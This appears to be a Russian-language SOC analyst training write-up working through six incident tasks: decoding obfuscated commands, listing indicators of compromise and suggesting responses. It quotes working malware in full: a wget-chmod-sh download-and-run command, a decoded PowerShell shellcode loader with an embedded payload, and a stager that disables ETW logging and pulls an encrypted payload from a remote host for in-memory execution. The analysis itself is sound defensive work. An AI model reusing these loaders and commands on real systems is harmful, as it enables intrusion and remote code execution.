# Работа специалиста SOC
###### tags: `PT 2nd stage`
# task 1

## Что происходит?
Мы наблюдаем, что в некую sh консоль была передана команда, частично заенкоженая в urlencode.
засунем строку в бурп декодер

```
command=
wget http://136.144.41.3+igipdmcdmsklcmk%2ohsitsvegawellrip.sh ;
chmod 777 ohsitsvegawellrip.sh ;
sh ohsitsvegawellrip.sh ;
wget https://https:%2%2iplogger.org"FGVP5 HTTP/1.1
```
замечаем что некоторый sh скрипт сначала скачивают через wget, затем меняют права доступа на 777 *(то есть абсолютный доступ для любого пользователя)*, затем запускают через sh.
гуглим скрипт и быстро находим кучу информации о нём.



даже есть граф поведения

вывод: атакующий пытался выполнить атаку RCE.
затем через wget скачивается некоторый файл с сайта iplogger.org. Название подозрительное, надо проверить.
## Признаки атаки
1) Для скачивания используется python *(User-Agent: python-requests/2.25.1)*
2) Обычно скрипты скачивают напрямую из терминала, а не через запрос в веб интерфейc, что крайне неудобно.
3) chmod 777 это довольно небезопасный уровень доступа. Если этот скрипт будет выполняться от рута *(например в cron)*, значит любой пользователь сможет изменить скрипт и повысить свои привелегии.
4) использование http протокола
## IoС'и
1. Скачивание файлов с веб-сервера черех http
2. Создание файлов
3. Запуск процесса
4. Использование http протокола
5. chmod 777
## Как проверить
1. Если сервер атакующего всё ещё работает, то можно попробовать скачать скрипт и проанализировать его. Заменить в нём ip атакующего на подконтрольный, запустить скрипт и посмотреть, что выйдет.
2. Можно посмотреть логи, отсортировав их по времени запроса
3.
# task 2

## Что подозрительно?
1. Многие слова разорваны, команда выглядит хаотично => код обфусцирован
2. слово Invoke многократно повторяется в различных формах => это какой-то полиглот. Цель - обойти фильтры.
3. Вначале идёт массив с байтами, а затем команда convert to string. Это явно попытка байпаснуть прасер-защиту.
## Цель
судя по словам "CommandInvokation", "Web" и "Download", целью атакующего является выполнение команды загрузки какого-то файла.
Если эта загрузка удастся, то атакующий сможет загрузить любой файл, а значит можно загрузить reverse-shell и так как команды выполнять тоже можно, то можно этот шелл и запустить.
# task 3
## Что подозрительного?
---
Один из процессов открывает вордовский документ под названием "employee termination". Удалить работника - действие серьёзное, проверим.

проверим импорт-хеш

чисто

---
однако после открытия документа запускается powershell
Интересно, что parent командой для запуска поша является winword.exe

В powershell была исполнена заенкоженая в base64 команда.

декодим строку и узнаём, что это команда для загрузки изображения

Спустя 2 секунды после загрузки изображения в powershell был запущен скрипт проверки политик от имени user

Затем открывается пайп (= связь с внешним сервером)
## признаки
1. Спустя 2 секунды после запуска ворда запускается powershell. Обычному пользователю даже чтобы просто просмотреть файл, закрыть его и запустить пош понадобится гораздо больше времени, чем 2 секунды.
2. Запуск скрипта поша в скрытом и закодированном режиме
## IoC'и
1. Открытие документа в ворде
2. запуск скрипта спустя очень короткое время после предыдущего шага
3. скачивание и запись нового файла
4. использование http
## суть
Пользователь user открывает вордовский документ, после чего запускается powershell, который скачивает файл.
Предположительно пользователя заставили открыть файл, назвав его так, буто он содержит критически важную информацию. После чего скрытый в файле код запустил powershell скрипт.
запуск powershell + загрузка изображения ?= adware

# task 4
## Что произошло?
MaxPatrol 10 обнаружил попытку запуска пош скрипта в скрытом режиме.
статус: успех => скрипт выполнен
имя узла: *larteshina.plat.form*
действие проведено над аккаунтом

скрипт закодирован в base64

разкодируем его

```
if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v10\powershell.exe'}else{$b='powershell.exe'};
$s=New-Object SystemDiagnosticsProcessStartInfo;
$sFileName=$b;
$sArguments='-nop -w hidden -c &([scriptblock]::create((New-Object SystemIOStreamReader(New-Object SystemIOCompressionGzipStream((New-Object SystemIOMemoryStream(,[SystemConvert]::FromBase64String(((''H4sIAHC+DGMCA7VX7Y+aSBj/3qT/A2lMxKwruGu3XpMmNygoVndlUVy15sLC''+''CFMHsDD4sr3+7/cMQrVX927vks4XnJnn9f{1}8jcs0''+''dBiJQiGNP{1}Hr61dCvoZ2bA{1}CWNq9qwqlJ6VbOV6Vtv2+owgfBHGO1ut2FNgkXLx/30rjGIfssK91MENJgoNHSnAiVoQ/hYmPY''+''3x59/gZO0z4KpT+qHVo9GjTnGzfsh0fC5codPldP3JsblfNXFPCxPKnT+XK/LK+qKlfUpsmYtncJwwHNZfSckX4VuEKR/s1FssD4sRREi1ZbULC66vaOE''+''zsJb4FaRs8wMyP3KQM3hz9iTFL4zB3i''+''8s5UIll+DmMIw{1}5boyTpFwV5lzDfLH4XZzn6u/TkJEA1/SQ4Thamz''+''j{1}EAc''+''nta4duhTf4+UCuEwWk9BbVCpAtolWWCyFKaVV4b+IEW/xtgDvpUziKRNQDVlcqUJMzzk6iNyU4gNr+YylkAgVWHkyAH7fOITLInuSjTM+kz7Hg2LNsxsMFov''+''DKCEZ8wdBrgoDUG2zKN7DtjSKU1xZfMcbYvNR34XVl4qrF7zAmWzhYG5FxF0c2X+If+lR208+c6rn07mNlyTE7X1oB8QpMlY8FxS8pDjDpFaQ3YKBYjm/wG4bU+zZjKPMc+MnNjUg7DuvkhLq4hg5E''+''NgErIKYV3405hA4sayHAxwAfIc9JGtpCXWCC+q8NvaFdr4HonKL2klSFYYpFKpTFUxsU+xWBRQmJL9CKYuyn+WjuYOUMuLYCSvELSp/xzPX24rChMWpA5EFDEbmGjvEphySqtAlLlb2JvEK/{1}WzgLRsSqF+''+''QNIGAgInHAiT8XyJwdRDblRqJmZ6sKY4AKKsdWjU''+''9qBR5GWSZZjtYbf8nKlFNRxSn4NToHJiKETcpBGrChaJGXQiDnSy/X9W/''+''NyCDua0YpxHSCwKba7sGa+EUrBKEU/VHKYMlJgBIFocBYqd4J''+''vGod2IbySVtN8O29ETgqVq94almGa7''+''a46tGTV1Zk5V0h/7vk7qujcadXsmurg2V2udXPcMoENx{1}+cvkZ7oalfZG3UFOV3yzupl9ETWm''+''4al6chVAu/Bm7a2+tB/0EFRq+/pHnwV3XcU{1}SZ7iqwzvaMpKpGRZxpdo1Gf3Q4cqktNqpAnUzdRd8L1GU6317Z3oEdtNLoPuxG6HfSQr925''+''Wv1K8zn/ivPPVp1+W8''+''32Dt8b00QlKuhRtalh+XhirZWJqs0Ma617F1vPsPpSQ/MVONfJrr82JVj1{1}m8Tuk8D2nwagLmGN{1}sRPNM9vP{1}QgZA5Dan5uG0hRbtvrRttJGtjOFuN9HBnPK4H7n7alX6zBgSvI2SoCGkUSjVA9rYt1SfRR8N6a4xV{1}bcfy7ut+lnaqqS3X{1}Xfc{1}fmxpOWjaFkmXrYtX0F7N33GivSu4C7wLbk6VKyOH6tVSg9hQ/0pjfIMAV/DOAhPF62dw98Bx7EQv1BkixP8tCSWrrXNLyHKLyyVyB74iGwEHyEWC97OmCvpJSsxhcPUn0M9shBbydzW4N{1}E+Rdrc7INH3A1p3ZSOF2KJNOhCarzk1r3xwOwA+rDjJDKx1NuiATbE5XTQ4zxLZttsKOqT9cuY/3inThTm1PmZnOstXsT4i1kaw3kOTzMQnZ9RXkNzH5PHj9quQMT/L8uVk3sOPEtynkP8ywohlpUazlg2kYEc4hivx5s8JxiCk8C{1}DRUNQvojRy+FTMJhhM5MOc5GN7rGcmnftVEb4TVo7Dsjh6/34GRkJP4MVa6+PQY35V3l3LMsw5{1}Sc3stp/uWutaL0XM2FVPikBmUI2zWSDOLIURPGXgwWv''+''IQZN+Xm4nkM''+''OVK+gg0JTP3Q1jp8SRfQUvcytYx6cQA{1}Y1cHvOX8H8QQB9kv8RSg''+''x/ko4fXWUNtHk7pd''+''mTd6affi4/5Y1x7N/uH1RJslVDs5Phz8{1}nIy1X+f/xCYMCE0YMBQfXj7nYcjr5CS8PDZQBct88b8Edym7vIUHZjbk/gKJ8UT2igwAAA{0}{0}'')-f''='',''e'')))),[SystemIOCompressionCompressionMode]::Decompress)))ReadToEnd()))';
$sUseShellExecute=$false;
$sRedirectStandardOutput=$true;
$sWindowStyle='Hidden';
$sCreateNoWindow=$true;
$p=[SystemDiagnosticsProcess]::Start($s);
```
снова b64 строка.
Гуглим синтаксис команды в поше

Сшиваем форматную строку, получаем на выходе валидный base64

Слава гуглу, находим информацию по крайне схожей малвари. теперь мы можем задекодить самое интересное
https://www.huntress.com/blog/from-powershell-to-payload-an-analysis-of-weaponized-malware
```
function urg {
Param ($x7, $zBH)
$wLLcB = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $wLLcB.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($wLLcB.GetMethod('GetModuleHandle')).Invoke($null, @($x7)))), $zBH))
}
function svcU {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $wKIxn,
[Parameter(Position = 1)] [Type] $sw = [Void]
)
$bFyWj = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$bFyWj.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $wKIxn).SetImplementationFlags('Runtime, Managed')
$bFyWj.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $sw, $wKIxn).SetImplementationFlags('Runtime, Managed')
return $bFyWj.CreateType()
}
[Byte[]]$mkuA = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSSDHSUVZlSItSYEiLUhhIi1IgTTHJSA+3SkpIi3JQSDHArDxhfAIsIEHByQ1BAcHi7VJIi1Igi0I8QVFIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGFBEi0AgSQHQ41ZNMclI/8lBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCABFRCp4DA0FUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V")
[Uint32]$miS = 0
$cP = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((urg kernel32.dll VirtualAlloc), (svcU @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $mkuA.Length,0x3000, 0x04)
[System.Runtime.InteropServices.Marshal]::Copy($mkuA, 0, $cP, $mkuA.length)
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((urg kernel32.dll VirtualProtect), (svcU @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($cP, [Uint32]$mkuA.Length, 0x10, [Ref]$miS)) -eq $true) {
$voWO = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((urg kernel32.dll CreateThread), (svcU @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$cP,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((urg kernel32.dll WaitForSingleObject), (svcU @([IntPtr], [Int32]))).Invoke($voWO,0xffffffff) | Out-Null
}
```
Итого: на узле был выполнн вредоносный скрипт
## С помощью чего?
с помощью обфусцирования команды.
## С&C и порт
не обнаружил
# task 5
гуглим часть скрипта и находим кучу информации
## Тип ВПО
троян

## Перечислить имена загруженных файлов

# task 6
запихал текстовый лог и чуть-чуть распарсил его питоном, чтоб легче читалось

```python
with open("kek.txt", 'r') as f, open("output.json", "w") as out:
lines = [x for x in f.readlines()]
nline = 0
for line in lines:
tabs = 0
for symb in line:
if symb == "{":
tabs += 4
out.write('\n' + tabs * ' ' + '{')
elif symb == "}":
tabs -= 4
out.write('}' + '\n' + tabs * ' ')
elif symb == '\n':
out.write('\n' + tabs * ' ')
else:
out.write(symb)
out.write('\n' + '=' * 200 + '\n' + str(nline))
nline += 1
```

Сначала Вася Пупкин открывает zip архив

Затем запускается powershell

находим закодированный скрипт. декодим его
```
SeTVALuE($nuLl,$TruE);
[SystemDiagnosticsEventingEventProvider]"GetFie`ld"('m_e'+'nabled','Non'+'Public,'+'Instance')SetValue([Ref]AssemblyGetType('Syste'+'mManagementAutomationTracingPSE'+'twLogProvider')"GetFie`ld"('et'+'wProvider','NonPub'+'lic,S'+'tatic')GetValue($null),0);
};
[SYsTeMNEtSERVicEPOINtMAnAGEr]::EXPEcT100ConTinUE=0;
$5b316=NeW-ObJEct SYSTeMNetWEBCLiENT;
$u='Mozilla/50 (Windows NT 61;
WOW64;
Trident/70;
rv:110) like Gecko';
$ser=$([TexTEncodINg]::UNicODeGeTStRINg([CoNvERt]::FromBaSe64STrIng('aAB0AHQAcAA6AC8ALwAxADcAMgAuADEANgAuADIAMgAyAC4AMQAxADoANAAzADIAMQA=')));
$t='/admin/getphp';
$5b316HeADerSADD('User-Agent',$u);
$5B316Proxy=[SYsTEmNetWEBREQUeST]::DeFaulTWEbPROXy;
$5B316PROxyCrEDenTIAlS = [SysTEMNEtCredEntIAlCache]::DEfAULTNETWorkCREDEntIalS;
$Script:Proxy = $5b316Proxy;
$K=[SYsteMTEXtEncOdiNG]::ASCIIGETByteS('bk]2()mgP!0@sf3VlXa,SIG|%8on<rD#');
$R={$D,$K=$Args;
$S=0255;
0255|%{$J=($J+$S[$_]+$K[$_%$KCOUNT])%256;
$S[$_],$S[$J]=$S[$J],$S[$_]};
$D|%{$I=($I+1)%256;
$H=($H+$S[$I])%256;
$S[$I],$S[$H]=$S[$H],$S[$I];
$_-bxor$S[($S[$I]+$S[$H])%256]}};
$5B316HEAdeRSADd("Cookie","azkGFw=ly2r9xiUrZfcSUzwyVSFZZdZowM=");
$DatA=$5b316DoWNlOaDDaTA($ser+$T);
$Iv=$DAta[03];
$DAtA=$daTa[4$DAtALeNgtH];
-jOiN[CHar[]](& $R $Data ($IV+$K))|IEX
```
декодим ещё одну b64 строку и получаем адрес сайта
```
http://172.16.222.11:4321
```
запрос whois сказал,что это локальный адрес.

Следует проверить устройство под этим адресом и исходить от полученной информации.
## Меры реагирования
1. Проведение ликбеза по информационной безопасности
2. Отслеживание hiden скриптов с b64 строками и выведение промптов.
3. (Метод паранойя++) запускать все пош скрипты в песочнице.
